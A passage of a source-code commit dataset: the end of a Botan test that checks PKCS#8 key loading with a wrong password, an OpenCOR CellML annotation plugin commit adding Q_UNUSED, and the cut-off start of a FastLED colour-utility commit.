\"ApgH0RqSu9vxdVM7mLd6wRyeH0ST7mUNcjElBdDW+bXcvKpqGUizc3Nq7iosRo3p\"\n \"wGjmcjNwvuac1+guKFDMskeVrBRDE1Ulbo\/\/AGxoGcoRKz81vmhEdaaq0s7xmkvI\"\n \"zxWxdqGmyw+K7rAvbJuCURrdr+vvdJMsGt9PXDBogJPGqkrytL+8S3DXFMw83Mm5\"\n \"qAA7A4H2qdXURUfFdWgcrY5Nxo1PLtKztRrGZ4lAf+xAuDJmf5E\/fQvZJwlx+cVu\"\n \"BhLslycbfcv1iKw0\/uzS4B+M8bomW7AAWAla1+A7zOpGRbDNAZeCLA==\"\n \"-----END ENCRYPTED PRIVATE KEY-----\";\n }\n\n} \/\/ namespace\n\nclass Clang_Bug_41810 final : public Test\n {\n public:\n std::vector<Test::Result> run() override\n {\n Test::Result result(\"PKCS8::load_key does not crash when compiled with Clang 8\");\n\n auto pem = getPrivateKey();\n\n Botan::DataSource_Memory ds(reinterpret_cast<const uint8_t*>(pem.data()), pem.size());\n\n std::string pw = \"01234567890123456789\"; \/\/ sufficiently long, wrong password\n \/\/ Note: the correct password for this key is \"smallbufferoptimization\"\n\n try\n {\n Botan::PKCS8::load_key(ds, Test::rng(), pw);\n result.test_failure(\"load_key should have thrown due to wrong password\");\n }\n catch(const std::exception&)\n {\n result.test_success(\"load_key doesn't crash\");\n }\n\n return {result};\n }\n\n };\n\nBOTAN_REGISTER_TEST(\"clang_bug\", Clang_Bug_41810);\n\n#endif \/\/ BOTAN_HAS_PUBLIC_KEY_CRYPTO\n\n} \/\/ namespace Botan_Tests\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ CellMLAnnotationView plugin\n\/\/==============================================================================\n\n#include \"cellmlannotationviewmetadatadetailswidget.h\"\n#include \"cellmlannotationviewplugin.h\"\n#include \"cellmlannotationviewwidget.h\"\n#include \"cellmlfilemanager.h\"\n#include \"cellmlsupportplugin.h\"\n\n\/\/==============================================================================\n\n#include <QApplication>\n#include <QDesktopWidget>\n#include <QMainWindow>\n#include <QSettings>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLAnnotationView {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC CellMLAnnotationViewPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", QString::fromUtf8(\"a plugin to annotate CellML files.\"));\n descriptions.insert(\"fr\", QString::fromUtf8(\"une extension pour annoter des fichiers CellML.\"));\n\n return new PluginInfo(PluginInfo::Editing, true,\n QStringList() << \"CellMLSupport\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nCellMLAnnotationViewPlugin::CellMLAnnotationViewPlugin() :\n mSizes(QList<int>()),\n mMetadataDetailsWidgetSizes(QList<int>()),\n mViewWidgets(QMap<QString, CellmlAnnotationViewWidget *>())\n{\n \/\/ Set our settings\n\n mGuiSettings->setView(GuiViewSettings::Editing,\n QStringList() << CellMLSupport::CellmlMimeType);\n}\n\n\/\/==============================================================================\n\nCellMLAnnotationViewPlugin::~CellMLAnnotationViewPlugin()\n{\n \/\/ Delete our view widgets\n\n foreach (QWidget *viewWidget, mViewWidgets)\n delete viewWidget;\n}\n\n\/\/==============================================================================\n\/\/ Core interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initialize()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::finalize()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initialized(const Plugins &pLoadedPlugins)\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nstatic const auto SettingsCellmlAnnotationViewWidget = QStringLiteral(\"CellmlAnnotationViewWidget\");\nstatic const auto SettingsCellmlAnnotationViewWidgetSizes = QStringLiteral(\"Sizes\");\nstatic const auto SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes = QStringLiteral(\"MetadataDetailsWidgetSizes\");\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::loadSettings(QSettings *pSettings)\n{\n \/\/ Retrieve the size of the different items that make up our splitters\n \/\/ Note: we would normally do this in CellmlAnnotationViewWidget, but we\n \/\/ have one instance of it per CellML file and we want to share some\n \/\/ information between the different instances, so we have to do it\n \/\/ here instead...\n\n qRegisterMetaTypeStreamOperators< QList<int> >(\"QList<int>\");\n\n pSettings->beginGroup(SettingsCellmlAnnotationViewWidget);\n QVariant defaultSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().width()\n << 0.75*qApp->desktop()->screenGeometry().width());\n QVariant defaultMetadataDetailsWidgetSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().height()\n << 0.25*qApp->desktop()->screenGeometry().height()\n << 0.50*qApp->desktop()->screenGeometry().height());\n\n mSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetSizes, defaultSizes).value< QList<int> >();\n mMetadataDetailsWidgetSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, defaultMetadataDetailsWidgetSizes).value< QList<int> >();\n pSettings->endGroup();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::saveSettings(QSettings *pSettings) const\n{\n \/\/ Keep track of the tree view widget's and CellML annotation's width\n \/\/ Note: we must also keep track of the CellML annotation's width because\n \/\/ when loading our settings (see above), the view widget doesn't yet\n \/\/ have a 'proper' width, so we couldn't simply assume that the Cellml\n \/\/ annotation's initial width is this view widget's width minus the\n \/\/ tree view widget's initial width, so...\n\n pSettings->beginGroup(SettingsCellmlAnnotationViewWidget);\n pSettings->setValue(SettingsCellmlAnnotationViewWidgetSizes, QVariant::fromValue< QList<int> >(mSizes));\n pSettings->setValue(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, QVariant::fromValue< QList<int> >(mMetadataDetailsWidgetSizes));\n pSettings->endGroup();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::settingsLoaded(const Plugins &pLoadedPlugins)\n{\n Q_UNUSED(pLoadedPlugins);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::handleArguments(const QStringList &pArguments)\n{\n Q_UNUSED(pArguments);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::handleAction(const QUrl &pUrl)\n{\n Q_UNUSED(pUrl);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\/\/ GUI interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::changeEvent(QEvent *pEvent)\n{\n Q_UNUSED(pEvent);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::updateGui(Plugin *pViewPlugin,\n const QString &pFileName)\n{\n Q_UNUSED(pViewPlugin);\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initializeView()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::finalizeView()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::hasViewWidget(const QString &pFileName)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return false;\n\n \/\/ Return whether we have a view widget associated with the given CellML\n \/\/ file\n\n return mViewWidgets.value(pFileName);\n}\n\n\/\/==============================================================================\n\nQWidget * CellMLAnnotationViewPlugin::viewWidget(const QString &pFileName,\n const bool &pCreate)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return 0;\n\n \/\/ Retrieve the view widget associated with the given CellML file\n\n CellmlAnnotationViewWidget *res = mViewWidgets.value(pFileName);\n\n \/\/ Create a new view widget, if none could be retrieved\n\n if (!res && pCreate) {\n res = new CellmlAnnotationViewWidget(this, pFileName, mMainWindow);\n\n \/\/ Initialise our new view widget's sizes\n\n res->setSizes(mSizes);\n res->metadataDetails()->splitter()->setSizes(mMetadataDetailsWidgetSizes);\n\n \/\/ Keep track of the splitter move in our new view widget\n\n connect(res, SIGNAL(splitterMoved(const QList<int> &)),\n this, SLOT(splitterMoved(const QList<int> &)));\n connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n this, SLOT(metadataDetailsWidgetSplitterMoved(const QList<int> &)));\n\n \/\/ Some other connections to handle splitter moves between our view\n \/\/ widgets\n\n foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) {\n \/\/ Make sur that our new view widget is aware of any splitter move\n \/\/ occuring in the other view widget\n\n connect(res, SIGNAL(splitterMoved(const QList<int> &)),\n viewWidget, SLOT(updateSizes(const QList<int> &)));\n connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n viewWidget->metadataDetails(), SLOT(updateSizes(const QList<int> &)));\n\n \/\/ Make sur that the other view widget is aware of any splitter move\n \/\/ occuring in our new view widget\n\n connect(viewWidget, SIGNAL(splitterMoved(const QList<int> &)),\n res, SLOT(updateSizes(const QList<int> &)));\n connect(viewWidget->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n res->metadataDetails(), SLOT(updateSizes(const QList<int> &)));\n }\n\n \/\/ Keep track of our new view widget\n\n mViewWidgets.insert(pFileName, res);\n }\n\n \/\/ Return our view widget\n\n return res;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::removeViewWidget(const QString &pFileName)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return;\n\n \/\/ Remove the view widget from our list, should there be one for the given\n \/\/ CellML file\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName);\n\n if (viewWidget) {\n \/\/ There is a view widget for the given file name, so delete it and\n \/\/ remove it from our list\n\n delete viewWidget;\n\n mViewWidgets.remove(pFileName);\n }\n}\n\n\/\/==============================================================================\n\nQString CellMLAnnotationViewPlugin::viewName() const\n{\n \/\/ Return our CellML annotation view's name\n\n return tr(\"CellML Annotation\");\n}\n\n\/\/==============================================================================\n\nQIcon CellMLAnnotationViewPlugin::fileTabIcon(const QString &pFileName) const\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n\n return QIcon();\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::saveFile(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ Retrieve the view widget associated with the 'old' file name and, if any,\n \/\/ save it\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName);\n\n return viewWidget?viewWidget->cellmlFile()->save(pNewFileName):false;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileOpened(const QString &pFileName)\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::filePermissionsChanged(const QString &pFileName)\n{\n \/\/ The given file has been un\/locked, so retranslate ourselves (since some\n \/\/ messages may be locked-dependent)\n \/\/ Note: our plugin is such that retranslating it will update the GUI (since\n \/\/ it was easier\/faster to do it that way), so all we had to do was to\n \/\/ to make those updateGui() methods locked-dependent...\n\n if (mViewWidgets.value(pFileName))\n retranslateUi();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileModified(const QString &pFileName,\n const bool &pModified)\n{\n Q_UNUSED(pFileName);\n Q_UNUSED(pModified);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileReloaded(const QString &pFileName)\n{\n \/\/ The given file has been reloaded, so let its corresponding view widget\n \/\/ know about it\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName);\n\n if (viewWidget)\n viewWidget->fileReloaded();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileRenamed(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ A file has been renamed, so update our view widgets mapping\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName);\n\n if (viewWidget) {\n mViewWidgets.insert(pNewFileName, viewWidget);\n mViewWidgets.remove(pOldFileName);\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileClosed(const QString &pFileName)\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::canClose()\n{\n \/\/ We don't handle this interface...\n\n return true;\n}\n\n\/\/==============================================================================\n\/\/ I18n interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::retranslateUi()\n{\n \/\/ Retranslate all of our CellML annotation view widgets\n\n foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets)\n viewWidget->retranslateUi();\n}\n\n\/\/==============================================================================\n\/\/ Plugin specific\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::splitterMoved(const QList<int> &pSizes)\n{\n \/\/ The splitter of one of our CellML annotation view widgets has been moved,\n \/\/ so update things\n\n mSizes = pSizes;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::metadataDetailsWidgetSplitterMoved(const QList<int> &pSizes)\n{\n \/\/ The splitter of one of our CellML annotation view's metadata details\n \/\/ widgets has been moved, so update things\n\n mMetadataDetailsWidgetSizes = pSizes;\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLAnnotationView\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<commit_msg>Fixed a small building issue on Linux.<commit_after>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ CellMLAnnotationView plugin\n\/\/==============================================================================\n\n#include \"cellmlannotationviewmetadatadetailswidget.h\"\n#include \"cellmlannotationviewplugin.h\"\n#include \"cellmlannotationviewwidget.h\"\n#include \"cellmlfilemanager.h\"\n#include \"cellmlsupportplugin.h\"\n\n\/\/==============================================================================\n\n#include <QApplication>\n#include <QDesktopWidget>\n#include <QMainWindow>\n#include <QSettings>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLAnnotationView {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC CellMLAnnotationViewPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", QString::fromUtf8(\"a plugin to annotate CellML files.\"));\n descriptions.insert(\"fr\", QString::fromUtf8(\"une extension pour annoter des fichiers CellML.\"));\n\n return new PluginInfo(PluginInfo::Editing, true,\n QStringList() << \"CellMLSupport\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nCellMLAnnotationViewPlugin::CellMLAnnotationViewPlugin() :\n mSizes(QList<int>()),\n mMetadataDetailsWidgetSizes(QList<int>()),\n mViewWidgets(QMap<QString, CellmlAnnotationViewWidget *>())\n{\n \/\/ Set our settings\n\n mGuiSettings->setView(GuiViewSettings::Editing,\n QStringList() << CellMLSupport::CellmlMimeType);\n}\n\n\/\/==============================================================================\n\nCellMLAnnotationViewPlugin::~CellMLAnnotationViewPlugin()\n{\n \/\/ Delete our view widgets\n\n foreach (QWidget *viewWidget, mViewWidgets)\n delete viewWidget;\n}\n\n\/\/==============================================================================\n\/\/ Core interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initialize()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::finalize()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initialized(const Plugins &pLoadedPlugins)\n{\n Q_UNUSED(pLoadedPlugins);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nstatic const auto SettingsCellmlAnnotationViewWidget = QStringLiteral(\"CellmlAnnotationViewWidget\");\nstatic const auto SettingsCellmlAnnotationViewWidgetSizes = QStringLiteral(\"Sizes\");\nstatic const auto SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes = QStringLiteral(\"MetadataDetailsWidgetSizes\");\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::loadSettings(QSettings *pSettings)\n{\n \/\/ Retrieve the size of the different items that make up our splitters\n \/\/ Note: we would normally do this in CellmlAnnotationViewWidget, but we\n \/\/ have one instance of it per CellML file and we want to share some\n \/\/ information between the different instances, so we have to do it\n \/\/ here instead...\n\n qRegisterMetaTypeStreamOperators< QList<int> >(\"QList<int>\");\n\n pSettings->beginGroup(SettingsCellmlAnnotationViewWidget);\n QVariant defaultSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().width()\n << 0.75*qApp->desktop()->screenGeometry().width());\n QVariant defaultMetadataDetailsWidgetSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().height()\n << 0.25*qApp->desktop()->screenGeometry().height()\n << 0.50*qApp->desktop()->screenGeometry().height());\n\n mSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetSizes, defaultSizes).value< QList<int> >();\n mMetadataDetailsWidgetSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, defaultMetadataDetailsWidgetSizes).value< QList<int> >();\n pSettings->endGroup();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::saveSettings(QSettings *pSettings) const\n{\n \/\/ Keep track of the tree view widget's and CellML annotation's width\n \/\/ Note: we must also keep track of the CellML annotation's width because\n \/\/ when loading our settings (see above), the view widget doesn't yet\n \/\/ have a 'proper' width, so we couldn't simply assume that the Cellml\n \/\/ annotation's initial width is this view widget's width minus the\n \/\/ tree view widget's initial width, so...\n\n pSettings->beginGroup(SettingsCellmlAnnotationViewWidget);\n pSettings->setValue(SettingsCellmlAnnotationViewWidgetSizes, QVariant::fromValue< QList<int> >(mSizes));\n pSettings->setValue(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, QVariant::fromValue< QList<int> >(mMetadataDetailsWidgetSizes));\n pSettings->endGroup();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::settingsLoaded(const Plugins &pLoadedPlugins)\n{\n Q_UNUSED(pLoadedPlugins);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::handleArguments(const QStringList &pArguments)\n{\n Q_UNUSED(pArguments);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::handleAction(const QUrl &pUrl)\n{\n Q_UNUSED(pUrl);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\/\/ GUI interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::changeEvent(QEvent *pEvent)\n{\n Q_UNUSED(pEvent);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::updateGui(Plugin *pViewPlugin,\n const QString &pFileName)\n{\n Q_UNUSED(pViewPlugin);\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::initializeView()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::finalizeView()\n{\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::hasViewWidget(const QString &pFileName)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return false;\n\n \/\/ Return whether we have a view widget associated with the given CellML\n \/\/ file\n\n return mViewWidgets.value(pFileName);\n}\n\n\/\/==============================================================================\n\nQWidget * CellMLAnnotationViewPlugin::viewWidget(const QString &pFileName,\n const bool &pCreate)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return 0;\n\n \/\/ Retrieve the view widget associated with the given CellML file\n\n CellmlAnnotationViewWidget *res = mViewWidgets.value(pFileName);\n\n \/\/ Create a new view widget, if none could be retrieved\n\n if (!res && pCreate) {\n res = new CellmlAnnotationViewWidget(this, pFileName, mMainWindow);\n\n \/\/ Initialise our new view widget's sizes\n\n res->setSizes(mSizes);\n res->metadataDetails()->splitter()->setSizes(mMetadataDetailsWidgetSizes);\n\n \/\/ Keep track of the splitter move in our new view widget\n\n connect(res, SIGNAL(splitterMoved(const QList<int> &)),\n this, SLOT(splitterMoved(const QList<int> &)));\n connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n this, SLOT(metadataDetailsWidgetSplitterMoved(const QList<int> &)));\n\n \/\/ Some other connections to handle splitter moves between our view\n \/\/ widgets\n\n foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) {\n \/\/ Make sur that our new view widget is aware of any splitter move\n \/\/ occuring in the other view widget\n\n connect(res, SIGNAL(splitterMoved(const QList<int> &)),\n viewWidget, SLOT(updateSizes(const QList<int> &)));\n connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n viewWidget->metadataDetails(), SLOT(updateSizes(const QList<int> &)));\n\n \/\/ Make sur that the other view widget is aware of any splitter move\n \/\/ occuring in our new view widget\n\n connect(viewWidget, SIGNAL(splitterMoved(const QList<int> &)),\n res, SLOT(updateSizes(const QList<int> &)));\n connect(viewWidget->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)),\n res->metadataDetails(), SLOT(updateSizes(const QList<int> &)));\n }\n\n \/\/ Keep track of our new view widget\n\n mViewWidgets.insert(pFileName, res);\n }\n\n \/\/ Return our view widget\n\n return res;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::removeViewWidget(const QString &pFileName)\n{\n \/\/ Make sure that we are dealing with a CellML file\n\n if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName))\n return;\n\n \/\/ Remove the view widget from our list, should there be one for the given\n \/\/ CellML file\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName);\n\n if (viewWidget) {\n \/\/ There is a view widget for the given file name, so delete it and\n \/\/ remove it from our list\n\n delete viewWidget;\n\n mViewWidgets.remove(pFileName);\n }\n}\n\n\/\/==============================================================================\n\nQString CellMLAnnotationViewPlugin::viewName() const\n{\n \/\/ Return our CellML annotation view's name\n\n return tr(\"CellML Annotation\");\n}\n\n\/\/==============================================================================\n\nQIcon CellMLAnnotationViewPlugin::fileTabIcon(const QString &pFileName) const\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n\n return QIcon();\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::saveFile(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ Retrieve the view widget associated with the 'old' file name and, if any,\n \/\/ save it\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName);\n\n return viewWidget?viewWidget->cellmlFile()->save(pNewFileName):false;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileOpened(const QString &pFileName)\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::filePermissionsChanged(const QString &pFileName)\n{\n \/\/ The given file has been un\/locked, so retranslate ourselves (since some\n \/\/ messages may be locked-dependent)\n \/\/ Note: our plugin is such that retranslating it will update the GUI (since\n \/\/ it was easier\/faster to do it that way), so all we had to do was to\n \/\/ to make those updateGui() methods locked-dependent...\n\n if (mViewWidgets.value(pFileName))\n retranslateUi();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileModified(const QString &pFileName,\n const bool &pModified)\n{\n Q_UNUSED(pFileName);\n Q_UNUSED(pModified);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileReloaded(const QString &pFileName)\n{\n \/\/ The given file has been reloaded, so let its corresponding view widget\n \/\/ know about it\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName);\n\n if (viewWidget)\n viewWidget->fileReloaded();\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileRenamed(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ A file has been renamed, so update our view widgets mapping\n\n CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName);\n\n if (viewWidget) {\n mViewWidgets.insert(pNewFileName, viewWidget);\n mViewWidgets.remove(pOldFileName);\n }\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::fileClosed(const QString &pFileName)\n{\n Q_UNUSED(pFileName);\n\n \/\/ We don't handle this interface...\n}\n\n\/\/==============================================================================\n\nbool CellMLAnnotationViewPlugin::canClose()\n{\n \/\/ We don't handle this interface...\n\n return true;\n}\n\n\/\/==============================================================================\n\/\/ I18n interface\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::retranslateUi()\n{\n \/\/ Retranslate all of our CellML annotation view widgets\n\n foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets)\n viewWidget->retranslateUi();\n}\n\n\/\/==============================================================================\n\/\/ Plugin specific\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::splitterMoved(const QList<int> &pSizes)\n{\n \/\/ The splitter of one of our CellML annotation view widgets has been moved,\n \/\/ so update things\n\n mSizes = pSizes;\n}\n\n\/\/==============================================================================\n\nvoid CellMLAnnotationViewPlugin::metadataDetailsWidgetSplitterMoved(const QList<int> &pSizes)\n{\n \/\/ The splitter of one of our CellML annotation view's metadata details\n \/\/ widgets has been moved, so update things\n\n mMetadataDetailsWidgetSizes = pSizes;\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLAnnotationView\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>#include <stdint.h>\n\n#include <avr\/pgmspace.h>\n\n#include \"hsv2rgb.h\"\n#include \"colorutils.h\"\n\n\nvoid fill_solid( struct CRGB * pFirstLED, int numToFill,\n const struct CRGB& color)\n{\n for( int i = 0; i < numToFill; i++) {\n pFirstLED[i] = color;\n }\n}\n\nvoid fill_rainbow( struct CRGB * pFirstLED, int numToFill,\n uint8_t initialhue,\n uint8_t deltahue )\n{\n CHSV hsv;\n hsv.hue = initialhue;\n hsv.val = 255;\n hsv.sat = 255;\n for( int i = 0; i < numToFill; i++) {\n hsv2rgb_rainbow( hsv, pFirstLED[i]);\n hsv.hue += deltahue;\n }\n}\n\n\n#define saccum87 int16_t\n\nvoid fill_gradient( CRGB* leds,\n uint16_t startpos, CHSV startcolor,\n uint16_t endpos, CHSV endcolor,\n TGradientDirectionCode directionCode )\n{\n \/\/ if the points are in the wrong order, straighten them\n if( endpos < startpos ) {\n uint16_t t = endpos;\n CHSV tc = endcolor;\n startpos = t;\n startcolor = tc;\n endcolor = startcolor;\n endpos = startpos;\n }\n \n saccum87 huedistance87;\n saccum87 satdistance87;\n saccum87 valdistance87;\n \n satdistance87 = (endcolor.sat - startcolor.sat) << 7;\n valdistance87 = (endcolor.val - startcolor.val) << 7;\n \n uint8_t huedelta8 = endcolor.hue - startcolor.hue;\n \n if( directionCode == SHORTEST_HUES ) {\n directionCode = FORWARD_HUES;\n if( huedelta8 > 127) {\n directionCode = BACKWARD_HUES;\n }\n }\n \n if( directionCode == LONGEST_HUES ) {\n directionCode = FORWARD_HUES;\n if( huedelta8 < 128) {\n directionCode = BACKWARD_HUES;\n }\n }\n \n if( directionCode == FORWARD_HUES) {\n huedistance87 = huedelta8 << 7;\n }\n else \/* directionCode == BACKWARD_HUES *\/\n {\n huedistance87 = (uint8_t)(256 - huedelta8) << 7;\n huedistance87 = -huedistance87;\n }\n \n uint16_t pixeldistance = endpos - startpos;\n uint16_t p2 = pixeldistance \/ 2;\n int16_t divisor = p2 ? p2 : 1;\n saccum87 huedelta87 = huedistance87 \/ 